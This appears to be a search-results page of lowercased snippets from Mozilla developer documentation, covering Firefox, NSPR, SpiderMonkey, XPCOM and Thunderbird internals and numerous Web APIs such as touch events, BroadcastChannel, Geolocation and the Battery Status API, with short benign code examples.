... type:boolean default value:false exists by default: yes application support: firefox 13.0 status: active; last updated 2012-02-17 introduction: pushed to nightly on 2012-02-15 bugs: bug 727131 values true new tab with search results will be opened in the background, focus stays on the current tab.
... false (default) new tab with search results will be opened in the foreground.
PR_AttachThread
the opaque prthreadstack structure is only used in the third argument "prthreadstack *stack" to the pr_attachthread function.
... the 'stack' argument is now obsolete and ignored by pr_attachthread.
... you should pass null as the 'stack' argument to pr_attachthread.
PR_AttachSharedMemory
attaches a memory segment previously opened with pr_opensharedmemory and maps it into the process memory space.
... syntax #include <prshm.h> nspr_api( void * ) pr_attachsharedmemory( prsharedmemory *shm, printn flags ); /* define values for pr_attachsharedmemory(...,flags) */ #define pr_shm_readonly 0x01 parameters the function has these parameters: shm the handle returned from pr_opensharedmemory.
...pr_shm_readonly causes the memory to be attached read-only.
NSS Tech Notes
nss technical notes newsgroup: mozilla.dev.tech.crypto nss technical notes provide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
... tn6: nss .chk files for the fips mode.
... tn8: background information on libssl's cache functions and sids.
Rhino downloads archive
release release date change log download link rhino 1.7r4 2012-06-18 new in rhino 1.7r4 rhino1_7r4.zip rhino 1.7r3 2011-05-09 new in rhino 1.7r3 rhino1_7r3.zip rhino 1.7r2 2009-03-22 new in rhino 1.7r2 rhino1_7r2.zip rhino 1.7r1 2008-03-06 new in rhino 1.7r1 rhino1_7r1.zip rhino 1.6r7 2007-08-20 new in rhino 1.6r7 rhino1_6r7.zip rhino 1.6r6 2007-07-30 new in rhino 1.6r6 rhino1_6r6.zip rhino 1.6r5 2006-11-19 same code as 1.6r4, but relicensed under mpl/gpl.
... rhino1_6r5.zip rhino 1.6r4 2006-09-10 bug 343976 rhino1_6r4.zip rhino 1.6r3 2006-07-24 changes in 1.6r3 rhino1_6r3.zip rhino 1.6r2 2005-09-19 changes in 1.6r2 rhino1_6r2.zip rhino 1.6r1 2004-11-29 changes in 1.6r1 rhino1_6r1.zip rhino 1.5r5 2004-03-25 changes in 1.5r5 rhino1_5r5.zip rhino 1.5r4.1 2003-04-21 changes in 1.5r4.1 rhino15r41.zip rhino 1.5r4 2003-02-10 changes in 1.5r4 rhino15r4.zip rhino 1.5r3 2002-01-27 changes in 1.5r3 rhino15r3.zip rhino 1.5r2 2001-07-27 changes in 1.5r2 rhino15r2.zip rhino 1.5r1 2000-09-10 changes in 1.5r1 rhino15r1.zip rhino 1.4r3 1999-05-10 initial public releas...
...(pre-java 1.5 users can use dom3 using java's endorsed standards override mechanism if they have a dom3-capable xml parser.) if neither xmlbeans nor dom3 are present, e4x is not available.
JS_FlushCaches
this article covers features introduced in spidermonkey 1.8.5 flushes the code cache for the current thread.
... the operation might be delayed if the cache cannot be flushed currently because native code is currently executing.
... syntax void js_flushcaches(jscontext *cx); name type description cx jscontext * the context.
JS_GetFlatStringChars
this article covers features introduced in spidermonkey 1.8.5 get the chars of a flat string.
... syntax const jschar * js_getflatstringchars(jsflatstring *str); name type description str jsflatstring * the flattended string returned by js_flattenstring.
... description jsflatstring *fstr = js_flattenstring(cx, str); if (!fstr) return js_false; const jschar *chars = js_getflatstringchars(fstr) js_assert(chars); see also js_flattenstring bug 1037869 ...
JS_GetGlobalForScopeChain
syntax jsobject * js_getglobalforscopechain(jscontext *cx); name type description cx jscontext * the context for which to return the global object.
... description js_getglobalforscopechain() returns the global object for whatever function is currently running on the context.
... in other words, it returns the global object on the current scope chain.
Components.utils.schedulePreciseGC
this method lets scripts schedule a garbage collection cycle.
...requires chrome privileges.
... using scheduleprecisegc() when you call components.utils.scheduleprecisegc(), you specify a callback that is executed in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { // this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, components.utils.forcegc(), which causes garbage collection immediately but isn't able to collect all javascript-related memory), the callback lets you know when that's been finished.
FirstChild
« nsiaccessible page summary returns first child node in accessible tree.
... attribute nsiaccessible firstchild; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... see also nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.previoussibling ...
LastChild
« nsiaccessible page summary returns last child node in accessible tree.
... attribute nsiaccessible lastchild; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... see also nsiaccessible.firstchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.previoussibling ...
nsIApplicationCacheContainer
netwerk/base/public/nsiapplicationcachecontainer.idlscriptable this interface is used by objects that can be associated with an application cache.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description applicationcache nsiapplicationcache the application cache with which the object is associated.
... see also offline resources in firefox nsiapplicationcache nsiapplicationcachechannel nsiapplicationcacheservice nsiapplicationcachenamespace nsidomofflineresourcelist ...
nsIChannelPolicy
netwerk/base/public/nsichannelpolicy.idlscriptable a container for policy information to be used during channel creation.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface exists to allow the content policy mechanism to function properly during channel redirects.
... channels can be created with this interface placed in the property bag and upon redirect, the interface can be transferred from the old channel to the new channel.
nsICurrentCharsetListener
intl/uconv/idl/nsicurrentcharsetlistener.idlscriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/intl/currentcharsetlistener;1.
... to create an instance, use: var currentcharsetlistener = components.classes["@mozilla.org/intl/currentcharsetlistener;1"] .createinstance(components.interfaces.nsicurrentcharsetlistener); method overview void setcurrentcharset(in wstring charset); void setcurrentcomposercharset(in wstring charset); void setcurrentmailcharset(in wstring charset); methods setcurrentcharset() void setcurrentcharset( in wstring charset ); parameters charset setcurrentcomposercharset() void setcurrentcomposercharset( in wstring charset ); parameters charset setcurrentmailcharset() void setcurrentmailcharset( in wstring charset ); parameters charset ...
nsIDispatchSupport
js/src/xpconnect/idl/nsidispatchsupport.idlnot scriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.7 method overview void comvariant2jsval(in comvariantptr comvar, out jsval val); unsigned long gethostingflags(in string acontext); boolean isclassmarkedsafeforscripting(in nscidref cid, out boolean classexists); boolean isclasssafetohost(in jscontextptr cx, in nscidref cid, in boolean capscheck, out boolean classexists); boolean isobjectsafeforscripting(in voidptr theobject, in nsiidref id); void jsval2comvariant(in jsval var, out comvariant comvar); methods comvariant2jsval() converts a com variant to a jsval.
...boolean isclasssafetohost( in jscontextptr cx, in nscidref cid, in boolean capscheck, out boolean classexists ); parameters cx cid capscheck classexists returns containing pr_false if the class is not registered.
nsISearchSubmission
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description postdata nsiinputstream the post data associated with a search submission, wrapped in a mime input stream.
... uri nsiuri the uri to submit a search to.
nsIUploadChannel2
netwerk/base/public/nsiuploadchannel2.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void explicitsetuploadstream(in nsiinputstream astream, in acstring acontenttype, in long long acontentlength, in acstring amethod, in boolean astreamhasheaders); methods explicitsetuploadstream() sets a stream to be uploaded by this channel with the specified content-type and content-length header values.
... void explicitsetuploadstream( in nsiinputstream astream, in acstring acontenttype, in long long acontentlength, in acstring amethod, in boolean astreamhasheaders ); parameters astream the stream to be uploaded by this channel.
nsIWebBrowserChrome3
embedding/browser/webbrowser/nsiwebbrowserchrome3.idlscriptable an extension to nsiwebbrowserchrome2.
... 1.0 66 introduced gecko 2.0 inherits from: nsiwebbrowserchrome2 last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview astring onbeforelinktraversal(in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab); methods onbeforelinktraversal() determines the appropriate target for a link.
...see also nsiwebbrowserchrome2 ...
nsMsgSearchOp
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchopvalue; [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] interface nsmsgsearchop { const nsmsgsearchopvalue contains = 0; /* for text attributes */ const nsmsgsearchopvalue doesntcontain = 1; const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const nsmsgsearchopvalue isnt = 3; const nsmsgsearchopvalue isempty = 4; const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ const nsmsgsearchopvalue isafter = 6; const nsmsgsearchopvalue ishigherthan = 7; /* for priority.
... is also applies */ const nsmsgsearchopvalue islowerthan = 8; const nsmsgsearchopvalue beginswith = 9; const nsmsgsearchopvalue endswith = 10; const nsmsgsearchopvalue soundslike = 11; /* for ldap phoenetic matching */ const nsmsgsearchopvalue ldapdwim = 12; /* do what i mean for simple search */ const nsmsgsearchopvalue isgreaterthan = 13; const nsmsgsearchopvalue islessthan = 14; const nsmsgsearchopvalue namecompletion = 15; /* name completion operator...as the name implies =) */ const nsmsgsearchopvalue isinab = 16; const nsmsgsearchopvalue isntinab = 17; const nsmsgsearchopvalue isntempty = 18; /* primarily for tags */ const nsmsgsearchopvalue matches = 19; /* generic term for use by custom terms */ const nsms...
...gsearchopvalue doesntmatch = 20; /* generic term for use by custom terms */ const nsmsgsearchopvalue knummsgsearchoperators = 21; /* must be last operator */ }; ...
nsMsgSearchTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchterm(nsmsgsearchterm); // please note the !
... at the start of this macro, which means the macro // needs to enumerate the non-string attributes.
... %{c++ #define is_string_attribute(_a) \ (!(_a == nsmsgsearchattrib::priority || _a == nsmsgsearchattrib::date || \ _a == nsmsgsearchattrib::msgstatus || _a == nsmsgsearchattrib::messagekey || \ _a == nsmsgsearchattrib::size || _a == nsmsgsearchattrib::ageindays || \ _a == nsmsgsearchattrib::folderinfo || _a == nsmsgsearchattrib::location || \ _a == nsmsgsearchattrib::label || _a == nsmsgsearchattrib::junkstatus || \ _a == nsmsgsearchattrib::folderflag || _a == nsmsgsearchattrib::uint32hdrproperty || \ _a == nsmsgsearchattrib::junkpercent || _a == nsmsgsearchattrib::hasattachmentstatus)) %} ...
nsMsgSearchOpValue
nsmsgsearchopvalue defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl 146 typedef long nsmsgsearchopvalue; 147 148 [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] 149 interface nsmsgsearchop { 150 const nsmsgsearchopvalue contains = 0; /* for text attributes */ 151 const nsmsgsearchopvalue doesntcontain = 1; 152 const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ 153 const nsmsgsearchopvalue isnt = 3; 154 const nsmsgsearchopvalue isempty = 4; 155 156 const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsearchopvalue isafter = 6; 158 159 const nsmsgsearchopvalue ishigherthan = 7; /* for priority.
... is also applies */ 160 const nsmsgsearchopvalue islowerthan = 8; 161 162 const nsmsgsearchopvalue beginswith = 9; 163 const nsmsgsearchopvalue endswith = 10; 164 165 const nsmsgsearchopvalue soundslike = 11; /* for ldap phoenetic matching */ 166 const nsmsgsearchopvalue ldapdwim = 12; /* do what i mean for simple search */ 167 168 const nsmsgsearchopvalue isgreaterthan = 13; 169 const nsmsgsearchopvalue islessthan = 14; 170 171 const nsmsgsearchopvalue namecompletion = 15; /* name completion operator...as the name implies =) */ 172 const nsmsgsearchopvalue isinab = 16; 173 const nsmsgsearchopvalue isntinab = 17; 174 const nsmsgsearchopvalue isntempty = 18; /* primarily for tags */ 175 const nsmsgsearchopvalue matches = 19; /* generic ter...
...m for use by custom terms */ 176 const nsmsgsearchopvalue doesntmatch = 20; /* generic term for use by custom terms */ 177 const nsmsgsearchopvalue knummsgsearchoperators = 21; /* must be last operator */ 178 }; ...
AudioParam.cancelScheduledValues() - Web APIs
the cancelscheduledvalues() method of the audioparam interface cancels all scheduled future changes to the audioparam.
... syntax var audioparam = audioparam.cancelscheduledvalues(starttime) parameters starttime a double representing the time (in seconds) after the audiocontext was first created after which all scheduled changes will be cancelled.
... examples var gainnode = audioctx.creategain(); gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); //'gain' is the audioparam gainnode.gain.cancelscheduledvalues(audioctx.currenttime); specifications specification status comment web audio apithe definition of 'cancelscheduledvalues' in that specification.
AudioScheduledSourceNode: ended event - Web APIs
the ended event of the audioscheduledsourcenode interface is fired when the source node has stopped playing.
... bubbles no cancelable no interface event event handler property audioscheduledsourcenode.onended usage notes this event occurs when a audioscheduledsourcenode has stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played.
... examples in this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing: node.addeventlistener('ended', () => { document.getelementbyid("startbutton").disabled = false; }) you can also set up the event handler using the audioscheduledsourcenode.onended property: node.onended = function() { document.getelementbyid("startbutton").disabled = false; } for an example of the ended event in use, see our audio-buffer example on github.
AudioTrackList: change event - Web APIs
the change event is fired when an audio track is enabled or disabled, for example by changing the track's enabled property.
... bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); using the onchange event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onchange = (event) => { console.log(`'${event.type}' event fired`...
...); }; // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); specifications specification status html living standardthe definition of 'change' in that specification.
BatteryManager.charging - Web APIs
a boolean value indicating whether or not the device's battery is currently being charged.
... syntax var charging = battery.charging on return, charging indicates whether or not the battery, which is a batterymanager object, is currently being charged; if the battery is charging, this value is true.
... example html content <div id="charging">(charging state unknown)</div> javascript content navigator.getbattery().then(function(battery) { var charging = battery.charging; document.queryselector('#charging').textcontent = charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onlevelchange - Web APIs
the batterymanager.onlevelchange property specifies an event listener to receive levelchange events.
... syntax navigator.battery.onlevelchange = funcref where battery is a batterymanager object, and funcref is a function to be called when the levelchange event occurs.
... example html <div id="level">(battery level unknown)</div> <div id="statebaterry">(charging state unknown)</div> javascript navigator.getbattery().then(function(battery) { battery.onlevelchange = function(){ document.queryselector('#level').textcontent = battery.level; if(battery.charging) { document.queryselector('#statebaterry').textcontent = "charging time: " + (battery.chargingtime / 60); } else { document.queryselector('#statebaterry').textcontent = "discharging time: " + (battery.dischargingtime / 60); } }; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BluetoothRemoteGATTCharacteristic.startNotifications() - Web APIs
the bluetoothremotegattcharacteristic.startnotifications() method returns a promise to the bluetoothremotegattcharacteristic instance when there is an active notification on it.
... syntax bluetoothremotegattcharacteristic.startnotifications().then(function(bluetoothremotegattcharacteristic) { ...
... }) returns a promise to the bluetoothremotegattcharacteristic instance.
BluetoothRemoteGATTCharacteristic.value - Web APIs
the bluetoothremotegattcharacteristic.value read-only property returns currently cached characteristic value.
... this value gets updated when the value of the characteristic is read or updated via a notification or indication.
... syntax var value = bluetoothremotegattcharacteristic.value returns the currently cached characteristic value.
BroadcastChannel.close() - Web APIs
the broadcastchannel.close() terminates the connection to the underlying channel, allowing the object to be garbage collected.
... this is a necessary step to perform as there is no other way for a browser to know that this channel is not needed anymore.
... syntax var str = channel.close(); example // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.close()' in that specification.
BroadcastChannel: message event - Web APIs
the message event is fired on a broadcastchannel object when a message arrives on that channel.
...on id="broadcast-message" type="button">broadcast message</button> body { border: 1px solid black; padding: .5rem; height: 150px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } textarea { padding: .2rem; } label, br { margin: .5rem 0; } button { vertical-align: top; height: 1.5rem; } const channel = new broadcastchannel('example-channel'); const messagecontrol = document.queryselector('#message'); const broadcastmessagebutton = document.queryselector('#broadcast-message'); broadcastmessagebutton.addeventlistener('click', () => { channel.postmessage(messagecontrol.value); }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; paddi...
...ng: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); result specifications specification status html living standard liv...
BroadcastChannel.name - Web APIs
the read-only broadcastchannel.name property returns a domstring, which uniquely identifies the given channel with its name.
... this name is passed to the broadcastchannel() constructor at creation time and is therefore read-only.
... syntax var str = channel.name; examples // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // log the channel name to the console console.log(bc.name); // "test_channel" // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.name' in that specification.
BroadcastChannel.postMessage() - Web APIs
the broadcastchannel.postmessage() sends a message, which can be of any kind of object, to each listener in any browsing context with the same origin.
... the message is transmitted as a message event targeted at each broadcastchannel bound to the channel.
... syntax var str = channel.postmessage(object); specifications specification status comment html living standardthe definition of 'broadcastchannel.postmessage()' in that specification.
Document.onvisibilitychange - Web APIs
the document.onvisibilitychange property represents the event handler that is called when a visibilitychange event reaches this object.
... syntax obj.onvisibilitychange = function; function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration.
... example document.onvisibilitychange = function() { console.log("visibility of page has changed!"); }; specifications specification status comment page visibility (second edition)the definition of 'onvisibilitychange' in that specification.
Document: readystatechange event - Web APIs
the readystatechange event is fired when the readystate attribute of a document has changed.
... bubbles no cancelable no interface event event handler property onreadystatechange examples live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.que...
...ryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html living standardthe definition of 'readystatechange' in that specification.
Document: touchcancel event - Web APIs
the touchcancel event is fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).
... bubbles yes cancelable no interface touchevent event handler property ontouchcancel examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: touchend event - Web APIs
the touchend event fires when one or more touch points are removed from the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchend examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: touchmove event - Web APIs
the touchmove event is fired when one or more touch points are moved along the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchmove examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: touchstart event - Web APIs
the touchstart event is fired when one or more touch points are placed on the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchstart examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
DocumentTouch - Web APIs
the documenttouch interface used to provide convenience methods for creating touch and touchlist objects, but documenttouch been removed from the standards.
... methods documenttouch.createtouch() creates a new touch object.
... documenttouch.createtouchlist() creates a new touchlist object.
Element: touchcancel event - Web APIs
the touchcancel event is fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).
... bubbles yes cancelable no interface touchevent event handler property ontouchcancel examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: touchend event - Web APIs
the touchend event fires when one or more touch points are removed from the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchend examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: touchmove event - Web APIs
the touchmove event is fired when one or more touch points are moved along the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchmove examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: touchstart event - Web APIs
the touchstart event is fired when one or more touch points are placed on the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchstart examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
FetchEvent.clientId - Web APIs
the clientid read-only property of the fetchevent interface returns the id of the client that the current service worker is controlling.
... syntax var myclientid = fetchevent.clientid; value a domstring that represents the client id.
... example self.addeventlistener('fetch', function(event) { console.log(event.clientid); ​}); specifications specification status comment service workersthe definition of 'clientid' in that specification.
FetchEvent.isReload - Web APIs
the isreload read-only property of the fetchevent interface returns true if the event was dispatched by the user attempting to reload the page, and false otherwise.
... syntax var reloaded = fetchevent.isreload value a boolean.
... example self.addeventlistener('fetch', function(event) { event.respondwith( if (event.isreload) { //return something } else { //return something else }; ); ​}); ...
Geolocation.clearWatch() - Web APIs
the geolocation.clearwatch() method is used to unregister location/error monitoring handlers previously installed using geolocation.watchposition().
... syntax navigator.geolocation.clearwatch(id); parameters id the id number returned by the geolocation.watchposition() method when installing the handler you wish to remove.
... example var id, target, option; function success(pos) { var crd = pos.coords; if (target.latitude === crd.latitude && target.longitude === crd.longitude) { console.log('congratulation, you reach the target'); navigator.geolocation.clearwatch(id); } }; function error(err) { console.warn('error(' + err.code + '): ' + err.message); }; target = { latitude : 0, longitude: 0, } options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = navigator.geolocation.watchposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
HTMLAnchorElement.relList - Web APIs
the htmlanchorelement.rellist read-only property reflects the rel attribute.
... the property itself is read-only, meaning you can't substitute the domtokenlist with another one, but its contents can still be changed.
... syntax var relstr = anchorelt.rellist; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { var list = anchors[i].rellist; var listlength = list.length; console.log("new anchor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLElement.forceSpellCheck() - Web APIs
the forcespellcheck() method of the htmlelement interface forces a spelling and grammar check on html elements, even if the user has not focused on the elements.
...the specific user interface of the check, for example whether red underlining appears, is determined by the user agent.
... syntax element.forcespellcheck() ...
HTMLHyperlinkElementUtils.search - Web APIs
the htmlhyperlinkelementutils.search property is a search string, also called a query string, that is usvstring containing a '?' followed by the parameters of the url.
... modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring.
... syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification.
HTMLObjectElement.checkValidity - Web APIs
the checkvalidity() method of the htmlobjectelement interface returns a boolean that always is true, because object objects are never candidates for constraint validation.
... syntax const valid = htmlobjectelement.checkvalidity(); parameters none.
... specifications specification status comment html living standardthe definition of 'checkvalidity' in that specification.
HTMLObjectElement.typeMustMatch - Web APIs
the htmlobjectelement.typemustmatch property is a boolean that reflects the typemustmatch attribute of the <object> element.
... it indicates if the resource linked by it must match the mime type given by htmlobjectelement.type in order for this resource to be used.
... syntax var mustmatch = obj.typemustmatch; obj.typemustmatch = mustmatch; example html <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmatch></object> javascript let obj = document.getelementbyid('obj'); console.log(obj.typemustmatch); specifications specification status comment html5the definition of 'htmlobjectelement' in that specification.
onMSVideoFormatChanged - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... onmsvideoformatchanged is an event which occurs when the video format changes.
... syntax value description event property object.onmsvideoformatchanged = handler; attachevent method object.attachevent("onmsvideoformatchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoOptimalLayoutChanged - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... onmsvideooptimallayoutchanged is an event which occurs when the msislayoutoptimalforplayback state changes.
... syntax value description event property object.onmsvideooptimallayoutchanged = handler; attachevent method object.attachevent("onmsvideooptimallayoutchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) synchronous no bubbles no cancelable no see also msislayoutoptimalforplayback htmlvideoelement microsoft api extensions ...
Location: search - Web APIs
WebAPILocationsearch
the search property of the location interface is a search string, also called a query string; that is, a usvstring containing a '?' followed by the parameters of the url.
... modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring.
... syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification.
MediaQueryListEvent.matches - Web APIs
the matches read-only property of the mediaquerylistevent interface is a boolean that returns true if the document currently matches the media query list, or false if not.
... syntax var matches = mediaquerylistevent.matches; value a boolean; returns true if the document currently matches the media query list, false if not.
... examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
MediaTrackSupportedConstraints.channelCount - Web APIs
the mediatracksupportedconstraints dictionary's channelcount property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the channelcount constraint.
... syntax channelcountconstraintsupported = supportedconstraintsdictionary.channelcount; value this property is present in the dictionary (and its value is always true) if the user agent supports the channelcount constraint.
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
MediaTrackSupportedConstraints.echoCancellation - Web APIs
the mediatracksupportedconstraints dictionary's echocancellation property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the echocancellation constraint.
... syntax echocancellationconstraintsupported = supportedconstraintsdictionary.echocancellation; value this property is present in the dictionary (and its value is always true) if the user agent supports the echocancellation constraint.
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().echocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
Navigator.maxTouchPoints - Web APIs
the maxtouchpoints read-only property of the navigator interface returns the maximum number of simultaneous touch contact points are supported by the current device.
... syntax touchpoints = navigator.maxtouchpoints; example if (navigator.maxtouchpoints > 1) { // browser supports multi-touch } specifications specification status comment pointer events – level 2the definition of 'maxtouchpoints' in that specification.
... pointer eventsthe definition of 'maxtouchpoints' in that specification.
Node.hasChildNodes() - Web APIs
the node.haschildnodes() method returns a boolean value indicating whether the given node has child nodes or not.
... syntax bool = node.haschildnodes(); return value a boolean that is true if the node has child nodes, and false otherwise.
... example let foo = document.getelementbyid('foo'); if (foo.haschildnodes()) { // do something with 'foo.childnodes' } polyfill here is one possible polyfill: ;(function(prototype) { prototype.haschildnodes = prototype.haschildnodes || function() { return !!this.firstchild; } })(node.prototype); there are various ways to determine whether the node has a child node: node.haschildnodes() node.firstchild != null (or just node.firstchild) node.childnodes && node.childnodes.length (or node.childnodes.length > 0) specifications specification status comment domthe definition of 'node: haschildnodes' in that specification.
PerformanceTiming.fetchStart - Web APIs
the legacy performancetiming.fetchstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the browser is ready to fetch the document using an http request.
